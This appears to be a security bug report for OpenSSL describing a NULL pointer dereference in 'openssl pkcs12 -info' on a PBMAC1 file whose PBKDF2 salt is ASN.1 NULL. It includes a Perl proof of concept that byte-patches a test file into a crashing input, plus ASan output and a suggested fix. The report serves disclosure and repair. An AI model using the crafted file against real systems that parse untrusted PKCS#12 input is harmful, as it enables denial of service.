NULL pointer dereference in openssl pkcs12 -info when printing PBMAC1 salt metadata

Summary / Description

openssl pkcs12 -info crashes on a malformed PBMAC1-based PKCS#12 file when the embedded PBKDF2 salt is encoded as ASN.1 NULL. The CLI info path decodes PBKDF2PARAM and unconditionally reads pbkdf2_param->salt->value.octet_string, but does not validate that the salt field is actually an OCTET STRING.

Affected Product

OpenSSL 4.1.0-dev

Severity

Low

Steps to Reproduce

1. Build an ASan version of the tree:

cd /tmp
git clone --depth=1 https://github.com/openssl/openssl openssl-asan
cd /tmp/openssl-asan
make distclean
./config enable-asan no-shared
make include/openssl/opensslv.h
make -j4 apps/openssl

2. Create a malformed PKCS#12 by modifying the bundled good PBMAC1 test file so the PBKDF2 salt becomes ASN.1 NULL:

perl -e '
  use strict; use warnings;
  my $in  = "test/recipes/80-test_pkcs12_data/pbmac1_256_256.good.p12";
  my $out = "/tmp/pbmac1_null_salt.p12";
  open my $fh, "<:raw", $in or die $!;
  local $/; my $d = <$fh>; close $fh;

  substr($d,2,2)=pack("C2",0x0a,0x82);
  substr($d,2577,1)=pack("C",0x74);
  substr($d,2579,1)=pack("C",0x65);
  substr($d,2581,1)=pack("C",0x41);
  substr($d,2594,1)=pack("C",0x34);
  substr($d,2596,1)=pack("C",0x24);
  substr($d,2609,1)=pack("C",0x17);
  substr($d,2610,2)=pack("C2",0x05,0x00);
  substr($d,2612,8)="";

  open my $oh, ">:raw", $out or die $!;
  print {$oh} $d; close $oh;
'

3. Trigger the bug:

ASAN_OPTIONS=detect_leaks=0 \
OPENSSL_MODULES=/tmp/openssl-asan/providers \
/tmp/openssl-asan/apps/openssl pkcs12 \
  -in /tmp/pbmac1_null_salt.p12 -info -noout -passin pass:any

ASan Evidence

MAC: PBMAC1 using PBKDF2, Iteration 2048
AddressSanitizer:DEADLYSIGNAL
=================================================================
==67310==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x56123a9d6a2a bp 0x7ffdef20e6b0 sp 0x7ffdef20d1b8 T0)
==67310==The signal is caused by a READ memory access.
==67310==Hint: address points to the zero page.
    #0 0x56123a9d6a2a in ASN1_STRING_length crypto/asn1/asn1_lib.c:407
    #1 0x56123a74b0a4 in pkcs12_main apps/pkcs12.c:834
    #2 0x56123a73e97f in do_cmd apps/openssl.c:525
    #3 0x56123a6e3a13 in main apps/openssl.c:368
    #4 0x7f45bcc641c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #5 0x7f45bcc6428a in __libc_start_main_impl ../csu/libc-start.c:360
    #6 0x56123a6eebb4 in _start (/tmp/openssl-asan/apps/openssl+0x32ebb4) (BuildId: 235f4d2b90b98e43e3794d1d329a2a99a99b58de)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV crypto/asn1/asn1_lib.c:407 in ASN1_STRING_length
==67310==ABORTING

Impact

Any workflow that runs openssl pkcs12 -info on attacker-supplied PKCS#12 files can be crashed with a NULL pointer dereference, causing denial
of service. No valid password is required.

Remediation

Before printing PBMAC1 details, validate that:

• pbkdf2_param->salt != NULL
• pbkdf2_param->salt->type == V_ASN1_OCTET_STRING
• pbkdf2_param->salt->value.octet_string != NULL

The simplest fix is to reuse the same salt validation logic already present in crypto/pkcs12/p12_mutl.c:142

Start at apps/pkcs12.c:834, where the PBKDF2 salt is read while printing PBMAC1 details, and compare its checks with crypto/pkcs12/p12_mutl.c:142. Reproduce the crash with the malformed file and ASan command from the issue, then verify that openssl pkcs12 -info rejects the invalid salt without dereferencing NULL; use the bundled PBMAC1 test data when adding or running coverage.